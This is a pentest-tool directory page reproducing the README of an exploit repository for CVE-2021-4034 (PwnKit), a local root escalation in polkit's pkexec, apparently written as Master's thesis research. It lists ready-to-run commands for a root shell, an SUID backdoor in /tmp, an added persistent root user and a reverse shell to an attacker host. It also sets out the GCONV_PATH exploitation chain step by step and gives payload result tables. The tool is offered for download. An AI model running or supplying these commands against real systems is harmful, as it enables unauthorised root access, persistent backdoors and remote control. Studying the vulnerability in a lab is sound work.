Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-4034 — Advanced Linux Privilege Escalation research on CVE-2021-4034 (PwnKit). Features an optimized exploit with 7 polymorphic payload modes (Interactive Shell, Backdoor, User Creation, Reverse Shell, etc). Portfolio piece focused on memory corruption logic, environment variable manipulation, and anti-forensic techniques. | Kitploit
Tools/GitHubGitHub/devianntsec/cve-2021-4034
Privilege EscalationMemory ForensicsVulnerability AnalysisExploitationPost-ExploitationPenetration TestingLearning & EducationRed TeamingPayload Development

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

Binary Exploitation
GitHubdevianntsec/cve-2021-4034

CVE-2021-4034

View Repository
114 months agoNot yet reviewed

Advanced Linux Privilege Escalation research on CVE-2021-4034 (PwnKit). Features an optimized exploit with 7 polymorphic payload modes (Interactive Shell, Backdoor, User Creation, Reverse Shell, etc). Portfolio piece focused on memory corruption logic, environment variable manipulation, and anti-forensic techniques.

Share

CVE-2021-4034 — PwnKit Local Privilege Escalation · Master's Thesis Research

Platform Language License: MIT Research CVSS

Memory corruption vulnerability in polkit's pkexec utility
Local Privilege Escalation → root via out-of-bounds write
Affected: polkit 0.105-31 and earlier · Patch: polkit 0.105-33 (January 2022)


Interactive root shell obtained via CVE-2021-4034 - PwnKit

Description

This repository contains my Master's Thesis research on CVE-2021-4034, a High-severity (CVSS 7.8) Local Privilege Escalation vulnerability in polkit's pkexec utility, commonly known as PwnKit.

The vulnerability originates from an out-of-bounds write in pkexec's argument processing logic. When pkexec is executed with an empty or crafted argv, it reads and writes beyond the bounds of the argv array into the envp array, allowing an unprivileged local user to inject malicious environment variables that are subsequently loaded as a shared library, executing arbitrary code with root privileges.

My Contribution

AspectDescription
Multi-payload exploit

Repository Structure

root@kitploit:~
CVE-2021-4034/
├── README.md                        # This file
├── LICENSE                          # MIT License
│
├── exploit/
│   └── pwnkit.py                    # Advanced exploit with multiple payloads
│
└── docs/
    ├── screenshots/                 # Exploitation demonstrations
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # Vulnerability root cause analysis
        ├── 02-exploitation-chain.md # Exploitation chain breakdown
        └── 03-timeline.md           # CVE timeline

Quick Start

Prerequisites

  • Linux system with vulnerable polkit (pkexec --version shows 0.105 or earlier)
  • GCC compiler (apt install gcc)
  • Python 3.6+
  • Standard user account (no root required)
  • Isolated VM recommended for testing

Usage

root@kitploit:~
# Interactive root shell (default)
python3 exploit/pwnkit.py -p shell

# Verify execution context
python3 exploit/pwnkit.py -p whoami

# Execute custom command as root
python3 exploit/pwnkit.py -p custom -c "id"

# Create SUID backdoor at /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid

# Add persistent root user
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword

# Reverse shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

Payload Reference


Technical Overview

Vulnerability Root Cause

pkexec processes its own argv to locate the program being run. When invoked with argc == 0 (empty argument vector), the bounds check on argv fails silently. The subsequent out-of-bounds read treats envp[0] as argv[1], and the out-of-bounds write back into envp allows an attacker to replace an environment variable with a crafted path. When pkexec later calls g_printerr(), it loads GCONV_PATH from the now-attacker-controlled environment, loading an attacker-supplied shared library with root privileges.

root@kitploit:~
argc == 0  →  argv[1] reads envp[0]
             argv[1] = "GCONV_PATH=."  (writes back into envp)
             pkexec loads ./pwnkit.so  (attacker-controlled shared library)
             gconv_init() executes as root

Exploitation Chain

root@kitploit:~
1. Craft argv = { NULL }  →  argc = 0, triggers OOB access
2. Set envp[0] = "pwnkit.so:."
3. Set envp[1] = "PATH=GCONV_PATH=."
4. pkexec OOB-writes "pwnkit.so:." into envp[0] as if it were argv[1]
5. pkexec resolves GCONV_PATH=. and loads gconv-modules
6. gconv-modules maps "PWNKIT" charset to pwnkit.so
7. pwnkit.so:gconv_init() called with root privileges
8. Payload executes (shell / backdoor / reverse shell / etc.)

Key Technical Details


Demonstrations

Interactive Root Shell

Interactive Shell

ID Verification

ID Payload

Whoami Verification

Whoami Payload

SUID Backdoor

Backdoor Payload

Add Root User

Add Root User

Reverse Shell

Reverse Shell

Custom Command

Custom Payload


Empirical Testing

All testing was conducted on an isolated VirtualBox VM running Ubuntu 20.04 LTS with polkit 0.105-26 (vulnerable), with no network exposure.


Technical Documentation

DocumentDescription
Root Cause AnalysisOut-of-bounds write in pkexec argument processing
Exploitation Chain

Academic Context

This research is part of my Master's Thesis in Cybersecurity (UCAM — Campus Internacional de Ciberseguridad), analyzing N-Day vulnerabilities across multiple environments.

This CVE represents the Linux local privilege escalation vector within the thesis, demonstrating:

  • Memory safety vulnerabilities in SUID binaries
  • Out-of-bounds write exploitation via environment variable manipulation
  • Shared library injection via glibc's iconv infrastructure
  • Multi-payload post-exploitation framework design

Keywords: LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit


Author

Annais Molina (devianntsec) — Master's Student in Cybersecurity

GitHub LinkedIn Email


Acknowledgments

  • Qualys Research Team — Original discovery and responsible disclosure
  • arthepsy — Early proof-of-concept reference
  • berdav — Public PoC reference implementation

License

MIT License — see LICENSE


Legal Disclaimer

This repository is provided for educational and security research purposes only, as part of an academic Master's Thesis. All testing was performed on isolated virtual machines with no network exposure. Use only on systems you own or have explicit written authorization to test. Unauthorized use against systems is illegal and may result in criminal prosecution.

© 2026 Annais Molina · Master's Thesis in Cybersecurity
UCAM Universidad Católica San Antonio de Murcia · Campus Internacional de Ciberseguridad
Download Tool
Python wrapper with 6 payload modes including shell, id, backdoor, and reverse shell
Automated environment setupAutomatic GCONV_PATH construction and gconv-modules configuration
Post-exploitation modulesSUID backdoor, root user creation, and custom command execution
Academic documentationRoot cause analysis, exploitation chain, and vulnerability timeline
PayloadDescriptionOutput
shellSpawns interactive /bin/sh as rootInteractive shell
idWrites id and whoami output to /tmp/pwnkit_id.txtFile
whoamiWrites UID/eUID verification to /tmp/pwnkit_root_testFile
backdoor_suidCreates SUID root bash copy at /tmp/.shPersistent backdoor
add_root_userAppends custom user to /etc/passwdPersistent access
reverse_shellConnects back to attacker via PythonRemote shell
customExecutes any command as rootStdout / file
ComponentValueNotes
Vulnerable binary/usr/bin/pkexecSUID root
Trigger conditionargc == 0Empty argv
Write primitiveOOB write into envpVia argv[argc-1]
Load mechanismGCONV_PATH + gconv-modulesStandard glibc iconv
Execution contextgconv_init() in shared libraryRuns as EUID 0
Affected versionspolkit ≤ 0.105-31All major Linux distros
PayloadResultNotes
shell✅ Root shell obtainedImmediate interactive access
id✅ uid=0(root) confirmedOutput in /tmp/pwnkit_id.txt
whoami✅ root confirmedUID/eUID = 0
backdoor_suid✅ SUID bit set on /tmp/.shPersistent after exploit
add_root_user✅ Custom user createdSurvives reboot
reverse_shell✅ Connection establishedPython reverse shell working
custom✅ Arbitrary command executionFull root context
Step-by-step breakdown of the GCONV_PATH injection
CVE TimelineDiscovery, disclosure, and patch chronology